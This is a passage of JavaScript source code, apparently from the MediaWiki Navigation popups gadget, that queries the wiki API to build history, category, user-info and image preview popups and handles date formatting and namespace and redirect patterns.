const more = this.fullLength > this.data.length ? this.moreLink() : '';
setPopupHTML(more, 'popupPreviewMore', this.owner.idNumber);
};
/**
* @private
*/
Previewmaker.prototype.moreLink = function () {
const a = document.createElement('a');
a.className = 'popupMoreLink';
a.innerHTML = popupString('more...');
const savedThis = this;
a.onclick = function () {
savedThis.maxCharacters += 2000;
savedThis.maxSentences += 20;
savedThis.setData();
savedThis.showPreview();
};
return a;
};
/**
* @private
*/
Previewmaker.prototype.stripLongTemplates = function () {
// operates on the HTML!
this.html = this.html.replace(
/^.{0,1000}[{][{][^}]*?(<(p|br)( \/)?>\s*){2,}([^{}]*?[}][}])?/gi,
''
);
this.html = this.html.split('\n').join(' '); // workaround for <pre> templates
this.html = this.html.replace(/[{][{][^}]*<pre>[^}]*[}][}]/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killMultilineTemplates = function () {
this.kill('{{{', '}}}');
this.kill(/\s*[{][{][^{}]*\n/, '}}', '{{');
};
// ENDFILE: previewmaker.js
// STARTFILE: querypreview.js
function loadAPIPreview(queryType, article, navpop) {
const art = new Title(article).urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
let htmlGenerator = function (/*a, d*/) {
alert('invalid html generator');
};
let usernameart = '';
switch (queryType) {
case 'history':
url +=
'titles=' + art + '&prop=revisions&rvlimit=' + getValueOf('popupHistoryPreviewLimit');
htmlGenerator = APIhistoryPreviewHTML;
break;
case 'category':
url += 'list=categorymembers&cmtitle=' + art;
htmlGenerator = APIcategoryPreviewHTML;
break;
case 'userinfo':
var username = new Title(article).userName();
usernameart = encodeURIComponent(username);
if (pg.re.ipUser.test(username)) {
url += 'list=blocks&bkprop=range|restrictions&bkip=' + usernameart;
} else {
url +=
'list=users|usercontribs&usprop=blockinfo|groups|editcount|registration|gender&ususers=' +
usernameart +
'&meta=globaluserinfo&guiprop=groups|unattached&guiuser=' +
usernameart +
'&uclimit=1&ucprop=timestamp&ucuser=' +
usernameart;
}
htmlGenerator = APIuserInfoPreviewHTML;
break;
case 'contribs':
usernameart = encodeURIComponent(new Title(article).userName());
url +=
'list=usercontribs&ucuser=' +
usernameart +
'&uclimit=' +
getValueOf('popupContribsPreviewLimit');
htmlGenerator = APIcontribsPreviewHTML;
break;
case 'imagepagepreview':
var trail = '';
if (getValueOf('popupImageLinks')) {
trail = '&list=imageusage&iutitle=' + art;
}
url += 'titles=' + art + '&prop=revisions|imageinfo&rvslots=main&rvprop=content' + trail;
htmlGenerator = APIimagepagePreviewHTML;
break;
case 'backlinks':
url += 'list=backlinks&bltitle=' + art;
htmlGenerator = APIbacklinksPreviewHTML;
break;
case 'revision':
if (article.oldid) {
url += 'revids=' + article.oldid;
} else {
url += 'titles=' + article.removeAnchor().urlString();
}
url +=
'&prop=revisions|pageprops|info|images|categories&meta=wikibase&rvslots=main&rvprop=ids|timestamp|flags|comment|user|content&cllimit=max&imlimit=max';
htmlGenerator = APIrevisionPreviewHTML;
break;
}
pendingNavpopTask(navpop);
const callback = function (d) {
log('callback of API functions was hit');
if (queryType === 'userinfo') {
// We need to do another API request
fetchUserGroupNames(d.data).then(() => {
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
});
return;
}
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_' + queryType + '_QUERY_DATA');
}
}
function linkList(list) {
list.sort((x, y) => x == y ? 0 : x < y ? -1 : 1);
const buf = [];
for (let i = 0; i < list.length; ++i) {
buf.push(
wikiLink({
article: new Title(list[i]),
text: list[i].split(' ').join(' '),
action: 'view',
})
);
}
return buf.join(', ');
}
function getTimeOffset() {
const tz = mw.user.options.get('timecorrection');
if (tz) {
if (tz.indexOf('|') > -1) {
// New format
return parseInt(tz.split('|')[1], 10);
}
}
return 0;
}
function getTimeZone() {
if (!pg.user.timeZone) {
const tz = mw.user.options.get('timecorrection');
pg.user.timeZone = 'UTC';
if (tz) {
const tzComponents = tz.split('|');
if (tzComponents.length === 3 && tzComponents[0] === 'ZoneInfo') {
pg.user.timeZone = tzComponents[2];
} else {
errlog('Unexpected timezone information: ' + tz);
}
}
}
return pg.user.timeZone;
}
/**
* Should we use an offset or can we use proper timezones
*/
function useTimeOffset() {
if (typeof Intl.DateTimeFormat.prototype.formatToParts === 'undefined') {
// IE 11
return true;
}
const tz = mw.user.options.get('timecorrection');
if (tz && tz.indexOf('ZoneInfo|') === -1) {
// System| Default system time, default for users who didn't configure timezone
// Offset| Manual defined offset by user
return true;
}
return false;
}
/**
* Array of locales for the purpose of javascript locale based formatting
* Filters down to those supported by the browser. Empty [] === System's default locale
*/
function getLocales() {
if (!pg.user.locales) {
let userLanguage = document.querySelector('html').getAttribute('lang'); // make sure we have HTML locale
if (getValueOf('popupLocale')) {
userLanguage = getValueOf('popupLocale');
} else if (userLanguage === 'en') {
// en.wp tends to treat this as international english / unspecified
// but we have more specific settings in user options
if (getMWDateFormat() === 'mdy') {
userLanguage = 'en-US';
} else {
userLanguage = 'en-GB';
}
}
pg.user.locales = Intl.DateTimeFormat.supportedLocalesOf([userLanguage, navigator.language]);
}
return pg.user.locales;
}
/**
* Retrieve configured MW date format for this user
* These can be
* default
* dmy: time, dmy
* mdy: time, mdy
* ymd: time, ymd
* dmyt: dmy, time
* dmyts: dmy, time + seconds
* ISO 8601: YYYY-MM-DDThh:mm:ss (local time)
*
* This isn't too useful for us, as JS doesn't have formatters to match these private specifiers
*/
function getMWDateFormat() {
return mw.user.options.get('date');
}
/**
* Creates a HTML table that's shown in the history and user-contribs popups.
*
* @param {Object[]} h - a list of revisions, returned from the API
* @param {boolean} reallyContribs - true only if we're displaying user contributions
*/
function editPreviewTable(article, h, reallyContribs) {
let html = ['<table>'];
let day = null;
let curart = article;
let page = null;
let makeFirstColumnLinks;
if (reallyContribs) {
// We're showing user contributions, so make (diff | hist) links
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&diff=prev' +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('diff') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&action=history">' +
popupString('hist') +
'</a>';
result += ')';
return result;
};
} else {
// It's a regular history page, so make (cur | last) links
const firstRevid = h[0].revid;
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=' +
firstRevid +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('cur') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=prev&oldid=' +
currentRevision.revid +
'">' +
popupString('last') +
'</a>';
result += ')';
return result;
};
}
for (let i = 0; i < h.length; ++i) {
if (reallyContribs) {
page = h[i].title;
curart = new Title(page);
}
const minor = h[i].minor ? '<b>m </b>' : '';
const editDate = new Date(h[i].timestamp);
let thisDay = formattedDate(editDate);
const thisTime = formattedTime(editDate);
if (thisDay == day) {
thisDay = '';
} else {
day = thisDay;
}
if (thisDay) {
html.push(
'<tr><td colspan=3><span class="popup_history_date">' + thisDay + '</span></td></tr>'
);
}
html.push('<tr class="popup_history_row_' + (i % 2 ? 'odd' : 'even') + '">');
html.push('<td>' + makeFirstColumnLinks(h[i]) + '</td>');
html.push(
'<td>' +
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&oldid=' +
h[i].revid +
'">' +
thisTime +
'</a></td>'
);
let col3url = '',
col3txt = '';
if (!reallyContribs) {
const user = h[i].user;
if (!h[i].userhidden) {
if (pg.re.ipUser.test(user)) {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':Contributions&target=' +
new Title(user).urlString();
} else {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(user).urlString();
}
col3txt = pg.escapeQuotesHTML(user);
} else {
col3url = getValueOf('popupRevDelUrl');
col3txt = pg.escapeQuotesHTML(popupString('revdel'));
}
} else {
col3url = pg.wiki.titlebase + curart.urlString();
col3txt = pg.escapeQuotesHTML(page);
}
html.push(
'<td>' +
(reallyContribs ? minor : '') +
'<a href="' +
col3url +
'">' +
col3txt +
'</a></td>'
);
let comment = '';
const c = h[i].comment || ( typeof h[i].slots !== 'undefined' ? h[i].slots.main.content : null );
if (c) {
comment = new Previewmaker(c, new Title(curart).toUrl()).editSummaryPreview();
} else if (h[i].commenthidden) {
comment = popupString('revdel');
}
html.push('<td>' + (!reallyContribs ? minor : '') + comment + '</td>');
html.push('</tr>');
html = [html.join('')];
}
html.push('</table>');
return html.join('');
}
function adjustDate(d, offset) {
// offset is in minutes
const o = offset * 60 * 1000;
return new Date(Number(d) + o);
}
/**
* This relies on the Date parser understanding en-US dates,
* which is pretty safe assumption, but not perfect.
*/
function convertTimeZone(date, timeZone) {
return new Date(date.toLocaleString('en-US', { timeZone: timeZone }));
}
function formattedDateTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
return formattedDate(date) + ' ' + formattedTime(date);
}
if (getMWDateFormat() === 'ISO 8601') {
const d2 = convertTimeZone(date, getTimeZone());
return (
map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-') +
'T' +
map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':')
);
}
const options = getValueOf('popupDateTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleString(getLocales(), options);
}
function formattedDate(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCFullYear(), d2.getUTCMonth() + 1, d2.getUTCDate()]).join('-');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-');
}
const options = getValueOf('popupDateFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleDateString(getLocales(), options);
}
function formattedTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCHours(), d2.getUTCMinutes(), d2.getUTCSeconds()]).join(':');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':');
}
const options = getValueOf('popupTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleTimeString(getLocales(), options);
}
// Get the proper groupnames for the technicalgroups
function fetchUserGroupNames(userinfoResponse) {
const queryObj = getJsObj(userinfoResponse).query;
const user = anyChild(queryObj.users);
const messages = [];
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
messages.push('group-' + groupName + '-member');
}
});
}
if (queryObj.globaluserinfo && queryObj.globaluserinfo.groups) {
queryObj.globaluserinfo.groups.forEach((groupName) => {
messages.push('group-' + groupName + '-member');
});
}
return getMwApi().loadMessagesIfMissing(messages);
}
function showAPIPreview(queryType, html, id, navpop, download) {
// DJ: done
let target = 'popupPreview';
completedNavpopTask(navpop);
switch (queryType) {
case 'imagelinks':
case 'category':
target = 'popupPostPreview';
break;
case 'userinfo':
target = 'popupUserData';
break;
case 'revision':
insertPreview(download);
return;
}
setPopupTipsAndHTML(html, target, id);
}
function APIrevisionPreviewHTML(article, download) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
if (page.missing) {
// TODO we need to fix this proper later on
download.owner = null;
return;
}
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (typeof content === 'string') {
download.data = content;
download.lastModified = new Date(page.revisions[0].timestamp);
}
if (page.pageprops.wikibase_item) {
download.wikibaseItem = page.pageprops.wikibase_item;
download.wikibaseRepo = jsObj.query.wikibase.repo.url.base +
jsObj.query.wikibase.repo.url.articlepath;
}
} catch (someError) {
return 'Revision preview failed :(';
}
}
function APIbacklinksPreviewHTML(article, download /*, navpop*/) {
try {
const jsObj = getJsObj(download.data);
const list = jsObj.query.backlinks;
let html = [];
if (!list) {
return popupString('No backlinks found');
}
for (let i = 0; i < list.length; i++) {
const t = new Title(list[i].title);
html.push(
'<a href="' + pg.wiki.titlebase + t.urlString() + '">' + t.toString().entify() + '</a>'
);
}
html = html.join(', ');
if (jsObj.continue && jsObj.continue.blcontinue) {
html += popupString(' and more');
}
return html;
} catch (someError) {
return 'backlinksPreviewHTML went wonky';
}
}
pg.fn.APIsharedImagePagePreviewHTML = function APIsharedImagePagePreviewHTML(obj) {
log('APIsharedImagePagePreviewHTML');
const popupid = obj.requestid;
if (obj.query && obj.query.pages) {
const page = anyChild(obj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (
typeof content === 'string' &&
pg &&
pg.current &&
pg.current.link &&
pg.current.link.navpopup
) {
/* Not entirely safe, but the best we can do */
const p = new Previewmaker(
content,
pg.current.link.navpopup.article,
pg.current.link.navpopup
);
p.makePreview();
setPopupHTML(p.html, 'popupSecondPreview', popupid);
}
}
};
function APIimagepagePreviewHTML(article, download, navpop) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
let ret = '';
let alt = '';
try {
alt = navpop.parentAnchor.childNodes[0].alt;
} catch (e) {}
if (alt) {
ret = ret + '<hr /><b>' + popupString('Alt text:') + '</b> ' + pg.escapeQuotesHTML(alt);
}
if (typeof content === 'string') {
const p = prepPreviewmaker(content, article, navpop);
p.makePreview();
if (p.html) {
ret += '<hr />' + p.html;
}
if (getValueOf('popupSummaryData')) {
const info = getPageInfo(content, download);
log(info);
setPopupTrailer(info, navpop.idNumber);
}
}
if (page && page.imagerepository == 'shared') {
const art = new Title(article);
const encart = encodeURIComponent('File:' + art.stripNamespace());
const shared_url =
pg.wiki.apicommonsbase +
'?format=json&formatversion=2' +
'&callback=pg.fn.APIsharedImagePagePreviewHTML' +
'&requestid=' +
navpop.idNumber +
'&action=query&prop=revisions&rvslots=main&rvprop=content&titles=' +
encart;
ret =
ret +
'<hr />' +
popupString('Image from Commons') +
': <a href="' +
pg.wiki.commonsbase +
'?title=' +
encart +
'">' +
popupString('Description page') +
'</a>';
mw.loader.load(shared_url);
}
showAPIPreview(
'imagelinks',
APIimagelinksPreviewHTML(article, download),
navpop.idNumber,
download
);
return ret;
} catch (someError) {
return 'API imagepage preview failed :(';
}
}
function APIimagelinksPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.imageusage;
if (list) {
const ret = [];
for (let i = 0; i < list.length; i++) {
ret.push(list[i].title);
}
if (ret.length === 0) {
return popupString('No image links found');
}
return '<h2>' + popupString('File links') + '</h2>' + linkList(ret);
} else {
return popupString('No image links found');
}
} catch (someError) {
return 'Image links preview generation failed :(';
}
}
function APIcategoryPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.categorymembers;
let ret = [];
for (let p = 0; p < list.length; p++) {
ret.push(list[p].title);
}
if (ret.length === 0) {
return popupString('Empty category');
}
ret = '<h2>' + tprintf('Category members (%s shown)', [ret.length]) + '</h2>' + linkList(ret);
if (jsobj.continue && jsobj.continue.cmcontinue) {
ret += popupString(' and more');
}
return ret;
} catch (someError) {
return 'Category preview failed :(';
}
}
function APIuserInfoPreviewHTML(article, download) {
let ret = [];
let queryobj = {};
try {
queryobj = getJsObj(download.data).query;
} catch (someError) {
return 'Userinfo preview failed :(';
}
const user = anyChild(queryobj.users);
if (user) {
const globaluserinfo = queryobj.globaluserinfo;
if (user.invalid === '') {
ret.push(popupString('Invalid user'));
} else if (user.missing === '') {
ret.push(popupString('Not a registered username'));
}
if (user.blockedby) {
if (user.blockpartial) {
ret.push('<b>' + popupString('Has blocks') + '</b>');
} else {
ret.push('<b>' + popupString('BLOCKED') + '</b>');
}
}
if (globaluserinfo && ('locked' in globaluserinfo || 'hidden' in globaluserinfo)) {
let lockedSulAccountIsAttachedToThis = true;
for (let i = 0; globaluserinfo.unattached && i < globaluserinfo.unattached.length; i++) {
if (globaluserinfo.unattached[i].wiki === mw.config.get('wgDBname')) {
lockedSulAccountIsAttachedToThis = false;
break;
}
}
if (lockedSulAccountIsAttachedToThis) {
if ('locked' in globaluserinfo) {
ret.push('<b><i>' + popupString('LOCKED') + '</i></b>');
}
if ('hidden' in globaluserinfo) {
ret.push('<b><i>' + popupString('HIDDEN') + '</i></b>');
}
}
}
if (getValueOf('popupShowGender') && user.gender) {
switch (user.gender) {
case 'male':
ret.push(popupString('he/him') + ' · ');
break;
case 'female':
ret.push(popupString('she/her') + ' · ');
break;
}
}
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
ret.push(
pg.escapeQuotesHTML(mw.message('group-' + groupName + '-member', user.gender).text())
);
}
});
}
if (globaluserinfo && globaluserinfo.groups) {
globaluserinfo.groups.forEach((groupName) => {
ret.push(
'<i>' +
pg.escapeQuotesHTML(
mw.message('group-' + groupName + '-member', user.gender).text()
) +
'</i>'
);
});
}
if (user.registration) {
ret.push(
pg.escapeQuotesHTML(
(user.editcount ? user.editcount : '0') +
popupString(' edits since: ') +
(user.registration ? formattedDate(new Date(user.registration)) : '')
)
);
}
}
if (queryobj.usercontribs && queryobj.usercontribs.length) {
ret.push(
popupString('last edit on ') + formattedDate(new Date(queryobj.usercontribs[0].timestamp))
);
}
if (queryobj.blocks) {
ret.push(popupString('IP user')); //we only request list=blocks for IPs
for (let l = 0; l < queryobj.blocks.length; l++) {
let rbstr =
queryobj.blocks[l].rangestart === queryobj.blocks[l].rangeend ? 'BLOCK' : 'RANGEBLOCK';
rbstr = !Array.isArray(queryobj.blocks[l].restrictions) ?
'Has ' + rbstr.toLowerCase() + 's' :
rbstr + 'ED';
ret.push('<b>' + popupString(rbstr) + '</b>');
}
}
// if any element of ret ends with ' · ', merge it with the next element to avoid
// the .join(', ') call inserting a comma after it
for (let m = 0; m < ret.length - 1; m++) {
if (ret[m].length > 3 && ret[m].substring(ret[m].length - 3) === ' · ') {
ret[m] = ret[m] + ret[m + 1];
ret.splice(m + 1, 1); // delete element at index m+1
m--;
}
}
ret = '<hr />' + ret.join(', ');
return ret;
}
function APIcontribsPreviewHTML(article, download, navpop) {
return APIhistoryPreviewHTML(article, download, navpop, true);
}
function APIhistoryPreviewHTML(article, download, navpop, reallyContribs) {
try {
const jsobj = getJsObj(download.data);
let edits = [];
if (reallyContribs) {
edits = jsobj.query.usercontribs;
} else {
edits = anyChild(jsobj.query.pages).revisions;
}
const ret = editPreviewTable(article, edits, reallyContribs);
return ret;
} catch (someError) {
return popupString('History preview failed');
}
}
// ENDFILE: querypreview.js
// STARTFILE: debug.js
////////////////////////////////////////////////////////////////////
// Debugging functions
////////////////////////////////////////////////////////////////////
function setupDebugging() {
if (window.popupDebug) {
// popupDebug is set from .version
window.log = function (x) {
//if(gMsg!='')gMsg += '\n'; gMsg+=time() + ' ' + x; };
window.console.log(x);
};
window.errlog = function (x) {
window.console.error(x);
};
log('Initializing logger');
} else {
window.log = function () {};
window.errlog = function () {};
}
}
// ENDFILE: debug.js
// STARTFILE: images.js
// load image of type Title.
function loadImage(image, navpop) {
if (typeof image.stripNamespace != 'function') {
alert('loadImages bad');
}
// API call to retrieve image info.
if (!getValueOf('popupImages')) {
return;
}
if (!isValidImageName(image)) {
return false;
}
const art = image.urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query';
url += '&prop=imageinfo&iiprop=url|mime&iiurlwidth=' + getValueOf('popupImageSizeLarge');
url += '&titles=' + art;
pendingNavpopTask(navpop);
const callback = function (d) {
popupsInsertImage(navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'after', 'DOWNLOAD_IMAGE_QUERY_DATA');
}
}
function popupsInsertImage(id, navpop, download) {
log('popupsInsertImage');
let imageinfo;
try {
const jsObj = getJsObj(download.data);
const imagepage = anyChild(jsObj.query.pages);
if (typeof imagepage.imageinfo === 'undefined') {
return;
}
imageinfo = imagepage.imageinfo[0];
} catch (someError) {
log('popupsInsertImage failed :(');
return;
}
const popupImage = document.getElementById('popupImg' + id);
if (!popupImage) {
log('could not find insertion point for image');
return;
}
popupImage.width = getValueOf('popupImageSize');
popupImage.style.display = 'inline';
// Set the source for the image.
if (imageinfo.thumburl) {
popupImage.src = imageinfo.thumburl;
} else if (imageinfo.mime.indexOf('image') === 0) {
popupImage.src = imageinfo.url;
log('a thumb could not be found, using original image');
} else {
log("fullsize imagethumb, but not sure if it's an image");
}
const a = document.getElementById('popupImageLink' + id);
if (a === null) {
return null;
}
// Determine the action of the surrouding imagelink.
switch (getValueOf('popupThumbAction')) {
case 'imagepage':
if (pg.current.article.namespaceId() != pg.nsImageId) {
a.href = imageinfo.descriptionurl;
// FIXME: unreliable pg.idNumber
popTipsSoonFn('popupImage' + id)();
break;
}
/* falls through */
case 'sizetoggle':
a.onclick = toggleSize;
a.title = popupString('Toggle image size');
return;
case 'linkfull':
a.href = imageinfo.url;
a.title = popupString('Open full-size image');
return;
}
}
// Toggles the image between inline small and navpop fullwidth.
// It's the same image, no actual sizechange occurs, only display width.
function toggleSize() {
const imgContainer = this;
if (!imgContainer) {
alert('imgContainer is null :/');
return;
}
const img = imgContainer.firstChild;
if (!img) {
alert('img is null :/');
return;
}
if (!img.style.width || img.style.width === '') {
img.style.width = '100%';
} else {
img.style.width = '';
}
}
// Returns one title of an image from wikiText.
function getValidImageFromWikiText(wikiText) {
// nb in pg.re.image we're interested in the second bracketed expression
// this may change if the regex changes :-(
//var match=pg.re.image.exec(wikiText);
let matched = null;
let match;
// strip html comments, used by evil bots :-(
const t = removeMatchesUnless(
wikiText,
/(<!--[\s\S]*?-->)/,
1,
/^<!--[^[]*popup/i
);
while ((match = pg.re.image.exec(t))) {
// now find a sane image name - exclude templates by seeking {
const m = match[2] || match[6];
if (isValidImageName(m)) {
matched = m;
break;
}
}
pg.re.image.lastIndex = 0;
if (!matched) {
return null;
}
return mw.config.get('wgFormattedNamespaces')[pg.nsImageId] + ':' + upcaseFirst(matched);
}
function removeMatchesUnless(str, re1, parencount, re2) {
const split = str.parenSplit(re1);
const c = parencount + 1;
for (let i = 0; i < split.length; ++i) {
if (i % c === 0 || re2.test(split[i])) {
continue;
}
split[i] = '';
}
return split.join('');
}
// ENDFILE: images.js
// STARTFILE: namespaces.js
// Set up namespaces and other non-strings.js localization
// (currently that means redirs too)
function setNamespaces() {
pg.nsSpecialId = -1;
pg.nsMainspaceId = 0;
pg.nsImageId = 6;
pg.nsUserId = 2;
pg.nsUsertalkId = 3;
pg.nsCategoryId = 14;
pg.nsTemplateId = 10;
}
function setRedirs() {
const r = 'redirect';
const R = 'REDIRECT';
const redirLists = {
ar: [R, 'تحويل'],
be: [r, 'перанакіраваньне'],
bg: [r, 'пренасочване', 'виж'],
bs: [r, 'Preusmjeri', 'preusmjeri', 'PREUSMJERI'],
bn: [R, 'পুনর্নির্দেশ'],
cs: [R, 'PŘESMĚRUJ'],
cy: [r, 'ail-cyfeirio'],
de: [R, 'WEITERLEITUNG'],
el: [R, 'ΑΝΑΚΑΤΕΥΘΥΝΣΗ'],
eo: [R, 'ALIDIREKTU', 'ALIDIREKTI'],
es: [R, 'REDIRECCIÓN'],
et: [r, 'suuna'],
ga: [r, 'athsheoladh'],
gl: [r, 'REDIRECCIÓN', 'REDIRECIONAMENTO'],
he: [R, 'הפניה'],
hu: [R, 'ÁTIRÁNYÍTÁS'],
is: [r, 'tilvísun', 'TILVÍSUN'],
it: [R, 'RINVIA', 'Rinvia'],
ja: [R, '転送'],
mk: [r, 'пренасочување', 'види'],
nds: [r, 'wiederleiden'],
'nds-nl': [R, 'DEURVERWIEZING', 'DUURVERWIEZING'],
nl: [R, 'DOORVERWIJZING'],
nn: [r, 'omdiriger'],
pl: [R, 'PATRZ', 'PRZEKIERUJ', 'TAM'],
pt: [R, 'redir'],
ru: [R, 'ПЕРЕНАПРАВЛЕНИЕ', 'ПЕРЕНАПР'],
sk: [r, 'presmeruj'],
sr: [r, 'Преусмери', 'преусмери', 'ПРЕУСМЕРИ', 'Preusmeri', 'preusmeri', 'PREUSMERI'],
tr: [R, 'YÖNLENDİRME', 'yönlendirme', 'YÖNLENDİR', 'yönlendir'],
tt: [R, 'yünältü', 'перенаправление', 'перенапр'],
uk: [R, 'ПЕРЕНАПРАВЛЕННЯ', 'ПЕРЕНАПР'],
vi: [r, 'đổi'],
yi: [R, 'ווייטערפירן'],
zh: [R, '重定向'], // no comma
};
const redirList = redirLists[pg.wiki.lang] || [r, R];
// Mediawiki is very tolerant about what comes after the #redirect at the start
pg.re.redirect = RegExp(
'^\\s*[#](' + redirList.join('|') + ').*?\\[{2}([^\\|\\]]*)(|[^\\]]*)?\\]{2}\\s*(.*)',
'i'
);
}
function setInterwiki() {
if (pg.wiki.wikimedia) {
// From https://meta.wikimedia.org/wiki/List_of_Wikipedias
//en.wikipedia.org/w/api.php?action=sitematrix&format=json&smtype=language&smlangprop=code&formatversion=2
pg.wiki.interwiki =
'aa|ab|ace|af|ak|als|am|an|ang|ar|arc|arz|as|ast|av|ay|az|ba|bar|bat-smg|bcl|be|be-x-old|bg|bh|bi|bjn|bm|bn|bo|bpy|br|bs|bug|bxr|ca|cbk-zam|cdo|ce|ceb|ch|cho|chr|chy|ckb|co|cr|crh|cs|csb|cu|cv|cy|da|de|diq|dsb|dv|dz|ee|el|eml|en|eo|es|et|eu|ext|fa|ff|fi|fiu-vro|fj|fo|fr|frp|frr|fur|fy|ga|gag|gan|gd|gl|glk|gn|got|gu|gv|ha|hak|haw|he|hi|hif|ho|hr|hsb|ht|hu|hy|hz|ia|id|ie|ig|ii|ik|ilo|io|is|it|iu|ja|jbo|jv|ka|kaa|kab|kbd|kg|ki|kj|kk|kl|km|kn|ko|koi|kr|krc|ks|ksh|ku|kv|kw|ky|la|lad|lb|lbe|lg|li|lij|lmo|ln|lo|lt|ltg|lv|map-bms|mdf|mg|mh|mhr|mi|mk|ml|mn|mo|mr|mrj|ms|mt|mus|mwl|my|myv|mzn|na|nah|nap|nds|nds-nl|ne|new|ng|nl|nn|no|nov|nrm|nv|ny|oc|om|or|os|pa|pag|pam|pap|pcd|pdc|pfl|pi|pih|pl|pms|pnb|pnt|ps|pt|qu|rm|rmy|rn|ro|roa-rup|roa-tara|ru|rue|rw|sa|sah|sc|scn|sco|sd|se|sg|sh|si|simple|sk|sl|sm|sn|so|sq|sr|srn|ss|st|stq|su|sv|sw|szl|ta|te|tet|tg|th|ti|tk|tl|tn|to|tpi|tr|ts|tt|tum|tw|ty|udm|ug|uk|ur|uz|ve|vec|vi|vls|vo|wa|war|wo|wuu|xal|xh|yi|yo|za|zea|zh|zh-classical|zh-min-nan|zh-yue|zu';
pg.re.interwiki = RegExp('^' + pg.wiki.interwiki + ':');
} else {
pg.wiki.interwiki = null;
pg.re.interwiki = /^$/;
}
}
// return a regexp pattern matching all variants to write the given namespace
function nsRe(namespaceId) {
const imageNamespaceVariants = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != namespaceId) {
return;
}
_localizedNamespaceLc = upcaseFirst(_localizedNamespaceLc);
imageNamespaceVariants.push(
mw.util.escapeRegExp(_localizedNamespaceLc).split(' ').join('[ _]')
);
imageNamespaceVariants.push(mw.util.escapeRegExp(encodeURI(_localizedNamespaceLc)));
});
return '(?:' + imageNamespaceVariants.join('|') + ')';
}
function nsReImage() {
return nsRe(pg.nsImageId);
}
// ENDFILE: namespaces.js
// STARTFILE: selpop.js
function getEditboxSelection() {
// see http://www.webgurusforum.com/8/12/0
let editbox;
try {
editbox = document.editform.wpTextbox1;
} catch (dang) {
return;
}
// IE, Opera
if (document.selection) {
return document.selection.createRange().text;
}
// Mozilla
const selStart = editbox.selectionStart;
const selEnd = editbox.selectionEnd;
return editbox.value.substring(selStart, selEnd);
}
function doSelectionPopup() {
// popup if the selection looks like [[foo|anything afterwards at all
// or [[foo|bar]]text without ']]'
// or [[foo|bar]]
const sel = getEditboxSelection();
const open = sel.indexOf('[[');
const pipe = sel.indexOf('|');
const close = sel.indexOf(']]');
if (open == -1 || (pipe == -1 && close == -1)) {
return;
}
if ((pipe != -1 && open > pipe) || (close != -1 && open > close)) {
return;
}
const article = new Title(sel.substring(open + 2, pipe < 0 ? close : pipe));
if (getValueOf('popupOnEditSelection') == 'boxpreview') {
